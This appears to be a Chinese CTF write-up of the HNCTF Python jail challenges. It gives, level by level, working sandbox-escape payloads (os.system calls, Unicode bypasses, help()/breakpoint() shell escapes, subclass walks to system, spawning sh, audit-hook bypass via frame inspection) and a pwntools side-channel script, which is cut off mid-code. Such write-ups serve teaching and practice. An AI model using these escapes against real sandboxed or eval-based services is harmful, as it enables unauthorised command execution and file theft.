HNCTF Jail All In One
前言
这个前言是2022年末补上的,原因是现在各大赛事或多或少都会出现一些pyjail的题目,非常感谢空白爷在今年的HNCTF让我大开眼界也让我进入了r3这个大组织。
在最近的pwnhub冬季赛上,misc类型出现了一道Python的/proc/self/mem attack,通过f.seek()来修改内存注入shellcode。
最后,由于Python3中的unicode特性,所以很常见unicode碰撞的题目,这里写下一个简短的脚本来获取一些常用的碰撞unicode
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict
lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)
接下来就是HNCTF所有的Pyjail的WP分享时间,个人写的比较简短,有不懂的可以联系我。由于我也只在这个站点的个人博客中分享了这篇文章,所以看到的都是有缘人!
[Week1]python2 input(JAIL)
典中典py2
__import__("os").system("cat flag")
woodwhale@win10 C:\ -> nc 43.143.7.97 28646
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
Welcome to the python jail
But this program will repeat your messages
> __import__("os").system("cat flag")
flag=NSSCTF{5ce99ba2-4622-4c35-be29-83cd252e681d}
0
[Week1]calc_jail_beginner(JAIL)
一把梭
open("flag").read()
woodwhale@win10 C:\ -> nc 43.143.7.97 28854
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open("flag").read()
Answer: flag=NSSCTF{1c738cd1-51f3-4805-bcbb-505f2ea2231e}
[Week1]calc_jail_beginner_level1
过滤了部分字符,使用chr拼接flag
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
woodwhale@win10 C:\ -> nc 43.143.7.97 28597
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open(chr(102)+chr(108)+chr(97)+chr(103)).read()
Answer: flag=NSSCTF{297b5f3c-f733-4bcf-9db6-dfae8eb92451}
[Week1]calc_jail_beginner_level2
这题我是非预期出来的
限制了输入的字符长度为13
我的payload
eval(input())
这样就可以不限制输入并且执行了
woodwhale@win10 C:\ -> nc 43.143.7.97 28768
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> eval(input())
print(open("flag").read())
flag=NSSCTF{1c96fd89-85f5-4525-b8e9-d6e08d0b0daa}
Answer: None
[Week1]calc_jail_beginner_level2.5(JAIL)
2.5把level2的非预期修了,但没完全修,ban了eval、input、exec
这几个字符,但是python存在unicode的注入,所以直接调用level2的payload改个unicode就完事了
𝓮val(inp𝓾t())
但是传输带有unicode的payload,我win10上的nc是无法输入的,于是我就用了pwntools
from pwn import *
io = remote("43.143.7.97",28437)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()
[*] Switching to interactive mode
> $ open("flag").read()
Answer: flag=NSSCTF{5438df21-3c5d-4d14-a3dd-3b7fe0e19105}
写完了和空白爷交流才知道,还有一个叫作breakpoint()
的调试函数,进去就可以执行其他的命令咯
breakpoint()
woodwhale@ubun ❯ nc 43.143.7.97 28437
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open("flag").read()
'flag=NSSCTF{5438df21-3c5d-4d14-a3dd-3b7fe0e19105}\n'
(Pdb)
[Week1]calc_jail_beginner_level3
限制了长度为7,那么肯定有什么非常简短的函数调用可以执行shell或者io
谷歌发现了一个文章 Python eval 利用技巧 提到help()
方法会执行more这个程序,然后就可以执行shell了
help()
help> sys
Help on built-in module sys:
NAME
sys
MODULE REFERENCE
https://docs.python.org/3.8/library/sys
The following documentation is automatically generated from the Python
source files. It may be incomplete, incorrect or include features that
are considered implementation detail and may vary between Python
implementations. When in doubt, consult the module reference at the
location listed above.
DESCRIPTION
This module provides access to some objects used or maintained by the
interpreter and to functions that interact strongly with the interpreter.
Dynamic objects:
argv -- command line arguments; argv[0] is the script pathname if known
path -- module search path; path[0] is the script directory, else ''
modules -- dictionary of loaded modules
--More--#! cat flag
! cat flag
flag=NSSCTF{f8407110-e964-4b5a-ae2a-edba93866c80}
------------------------
--More--
[WEEK2]calc_jail_beginner_level4(JAIL)
因为chr被ban了,所以字符串构造就换一种方式,使用bytes([]).decode()
payload为open("flag").read()
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
woodwhale@win10 C:\ -> nc 1.14.71.254 28778
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
Answer: flag=NSSCTF{73995f5e-ce26-4587-adb2-934f36685f5f}
[WEEK2]calc_jail_beginner_level4.0.5(JAIL)
Banned loader,import,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
仍然选择使用bytes([]).decode()的形式
最终的payload是system("cat flag")
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
woodwhale@win10 C:\ -> nc 1.14.71.254 28200
_ _ _ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | | | || | / _ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| | | || |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| | | ||___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |_| | ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)\___(_)____/
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
flag=NSSCTF{4c092847-3524-47dc-831c-505fb19c0f1c}
Answer: 0
[WEEK2]calc_jail_beginner_level4.1(JAIL)
Banned loader,import,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
ban了bytes ,那么得换一个方法获取bytes,由于之前做的那个侧信道,一下子就想到了用type来获取bytes类
慢慢来,这题flag不叫flag,得rce执行ls查看文件名,也很简单
申明一下关系先:
bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()
<class 'os._wrap_close'> == [].__class__.__mro__[-1].__subclasses__()[-4]
# 执行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)
这下同理反抽就可以执行system("ls")然后cat flag了
woodwhale@win10 C:\ -> nc 1.14.71.254 28025
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
flag_y0u_CaNt_FiNd_mE server.py
这里只展示system("ls"),同理可以cat flag噢(其实是懒得再去复现
[WEEK2]calc_jail_beginner_level4.2(JAIL)
Banned loader,import,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
byte 、加号都被ban了,可以用__add__
来替换加号,然后也是用上一题的方法去构造system("ls")然后cat flag
这里就不分析了,直接上我的payload吧,如果你懂了上面一题,那么这一题不成问题!
写了个脚本来自动生成字符串
lst = []
for i in "cat flag_y0u_CaNt_FiNd_mE":
lst.append(f"type(str(1).encode())([{ord(i)}])")
print("("+lst.pop(0),end='')
for i in lst:
print(f".__add__({i})",end='')
print(").decode()")
执行就完事了
woodwhale@win10 C:\ -> nc 1.14.71.254 28737
_ _ _ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | | || | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_ ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_ / /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)____|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!
> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())
flag=NSSCTF{c5376f46-ca57-4d2f-96ec-77b24a3e8483}
Answer: 0
[WEEK2]calc_jail_beginner_level4.3(JAIL)
ban了type,但是又学到了一招list(dict(system=114514))[0]
可以获取system
这个字符串
直接执行system(sh)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])
然后就进入了shell,可以为所欲为了
[WEEK2]calc_jail_beginner_level5(JAIL)
盲pwn
但是这题太非预期了,可以直接open然后read
open("flag").read()
woodwhale@win10 C:\ -> nc 1.14.71.254 28190
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
It's so easy challenge!
Seems flag into the dir()
> open("flag").read()
'flag=NSSCTF{905f2c59-aaa3-4e17-9431-7a2f87280f53}\n'
直接用open read把源码啪啦下来
#It's an challenge for jaillevel5 let's read your flag!
import load_flag
flag = load_flag.get_flag()
def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()
def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)
if __name__ == '__main__':
main()
发现调用了一个load_flag
class secert_flag(str):
def __repr__(self) -> str:
return "DELETED"
def __str__(self) -> str:
return "DELETED"
class flag_level5:
def __init__(self, flag: str):
setattr(self, 'flag_level5', secert_flag(flag))
def get_flag():
with open('flag') as f:
return flag_level5(f.read())
正常思路可能是调用get_flag
方法,或者是去对my_flag
进行处理
[WEEK2]calc_jail_beginner_level5.1(JAIL)
盲pwn
__import__
还有open
都给ban了
根据提示dir()
> dir()
['__builtins__', 'my_flag']
看到有个my_flag
,使用dir跟进
> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']
看到一个flag_level5
继续用dir跟进
> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
发现有encode方法,直接调用梭哈
> my_flag.flag_level5.encode()
b'flag=NSSCTF{3cce1d9b-c848-4600-85ec-41089157c3bd}\n'
[Week1]lake lake lake
使用globals()
获取全局的变量
woodwhale@win10 C:\ -> nc 43.143.7.97 28313
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f4b78ae8ac0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f4b78c87d90>, 'backdoor': <function backdoor at 0x7f4b78b49fc0>, 'WELCOME': '\n _ _ _ _ _ _ \n | | | | | | | | | | | | \n | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|
\n', 'input_data': '1'}
获取key为a34af94e88aed5c34fb5ccfe08cd14ab
直接进入backdoor
woodwhale@win10 C:\ -> nc 43.143.7.97 28313
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open("flag").read()
flag=NSSCTF{605b3e28-a9f5-47aa-9b02-e7bdb328fee2}
[Week1]l@ke l@ke l@ke(JAIL)
字符长度不超过7
调用help()进入函数,输入server
查看key
help> server
Help on module server:
NAME
server
DESCRIPTION
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
FUNCTIONS
backdoor()
func()
DATA
WELCOME = '\n _ _ _ _ _ ... ...
input_data = '1'
key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'
FILE
/home/ctf/server.py
得到key为95c720690c2c83f0982ffba63ff87338
,进入backdoor
woodwhale@win10 C:\ -> nc 43.143.7.97 28033
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ | | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>open("flag").read()
flag=NSSCTF{0216c3ca-1bef-4c69-a3cc-a7763d02b053}
[WEEK2]laKe laKe laKe(JAIL)
这题又是非预期,原因是没ban open
上来就是hook了大部分函数
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
但是没ban open
分析关键猜数字的函数
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
需要猜出right_guesser_question_answer
才可以获取flag
同时还给sys.stdout、sys.seterr
重定向了,调用print无法输出
但是可以通过__import__("sys").__stdout__.write()
去输入
那么思路就是,读文件,然后输出
我是用的是os.open去打开文件,然后使用os.read去读文件(当然也可以__import__('io').open("flag").read()
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
woodwhale@win10 C:\ -> nc 1.14.71.254 28680
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ | | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())
flag=NSSCTF{3d39494f-209e-417b-900b-3a1e4adedd97}
Guess game end!!!
[WEEK2]lak3 lak3 lak3(JAIL)
非常的绝,上来直接把io、system之类的函数全给hook掉了,还把上一题的open等更多的函数给ban了
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
分析代码需要猜对数字才能获取flag
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception as e:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
print(e)
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
正确的答案存放在right_guesser_question_answer
中
如何获取该值成了一个问题
翻阅了两个多小时的文档,终于在官方文档找到一个有趣的函数
可以获取调用栈的帧对象,默认的参数是0,但是在这里如果传入0就会获取eval的调用栈帧
所以我们得deep一层
__import__("sys")._getframe(1)
我们用题目测试看看是啥情况
这里有一个小trick,使用__import__("sys").__stdout__.write
去标准输出,这也是上一个非预期的输出方法
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
<frame at 0x7fa9776fd590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!
这里frame对象指向了'/home/ctf/./server.py'
这个file,那么直接调用f_locals
属性查看变量
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 1933193371827, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!
可以看到获取到了right_guesser_question_answer
的值
所以最后的payload就是
int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
you are really super guesser!!!!
NSSCTF{0a6ff402-5404-466f-a234-71305ae5d465}
[WEEK2]4 byte command
最简单的一题?
看题目应该是限制了4个字符
直接sh
一把梭
woodwhale@win10 C:\ -> nc 1.14.71.254 28759
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> sh
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{747a9a12-d7a9-46a9-a92b-001f1da2252a}
$
[WEEK2]tyPe Ch@nnEl
个人感觉是最巧妙的一题!果然测信道还得是测信道
题目只给了一个type的方法,但是在python中,type就是万物,所以可以构造出大部分的数据类型
str = type(str(0))
list = type(type(flag).mro())(flag)
bytes = type(flag.encode())
bool = type(flag.istitle())
int = type(flag.find(flag))
tuple = type(flag.partition(flag))
我这里是恰好看到了字符串有一个index()
的方法,如果字符串中存在某个字符,就返回该字符下标,反之报错
更具报错这个特性来侧信道判断数据是啥
然后bytes
有一个方法叫作hex()
,可以将字符转成hex形式的字符串
于是我的侧信道的思路就是
- 先将flag转为
list
,然后pop()
出来每一个位置的字符、 - 获取该字符后,转为
bytes
类型,调用hex()
方法,获取字符串 - hex得到的字符串一定是
0-f
的 - 我们可以用
str(0)
到str(9)
构造0~9
的字符串 - 通过hex后的字符的
index(str(7))
这样的方法来判断这个字符的第一位是否有7,第二位是否有7 - 当然,这样的到的判断是不完整的,因为缺少了
a~f
的字符,但是通过上面的方法还是可以获得一些已知的flag的 - 通过部分已知的flag的转化,例如调用hex取第2位,可以获取剩下的
a-e
的字符串 - 至此,还不确定的字符只剩下了
f
,就可以推断出所有的flag值
我的测试脚本如下,一共测了8次,加起来一共花费了30多分钟,主要是思考时间考虑了大概2小时才想到如何使用,以前根本没接触过这种转换,不得不感慨py的牛逼!
from pwn import *
import warnings
warnings.filterwarnings("ignore")
context.timeout = 2
# context.log_level = "debug"
logging.disable(logging.ERROR)
logging.disable(logging.CRITICAL)
# (type(type(flag).mro())((((type(type(flag).mro())(flag)).pop(0).encode()).hex()))).pop(0).index((type(flag))(0))
def test1():
"""首次测试
list(list(flag).pop(?).encode().hex()).pop(?).index(str(?))
"""
flag = ""
for i in range(24):
c = "0x"
for two in range(2):
for j in range(10):
io = remote("1.14.71.254", 28787)
payload = f"(type(type(flag).mro())((((type(type(flag).mro())(flag)).pop({i+7}).encode()).hex()))).pop({two}).index((type(flag))({j}))"
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i}] 的第 {two} 位是 {j}")
c += str(j)
io.close()
if len(c) == 4:
flag += chr(int(c, 16))
else:
flag += "?"
print("flag --> ", flag)
def test2():
"""测试是否包含n或者N
list(flag).pop(?).index('n')
list(flag).pop(?).index('N')
"""
flag = ""
for i in range(24):
n = "(type(type(flag).mro())(flag)).pop(0).lower()"
N = "(type(type(flag).mro())(flag)).pop(0).upper()"
c = "?"
for x in [n, N]:
io = remote("1.14.71.254", 28787)
payload = f"(type(type(flag).mro())(flag)).pop({i+7}).index({x})"
io.sendlineafter("Payload:", payload)
if b"class" in io.recvline():
# 执行成功
print(f"flag[{i}] == '{x}'")
if x == n:
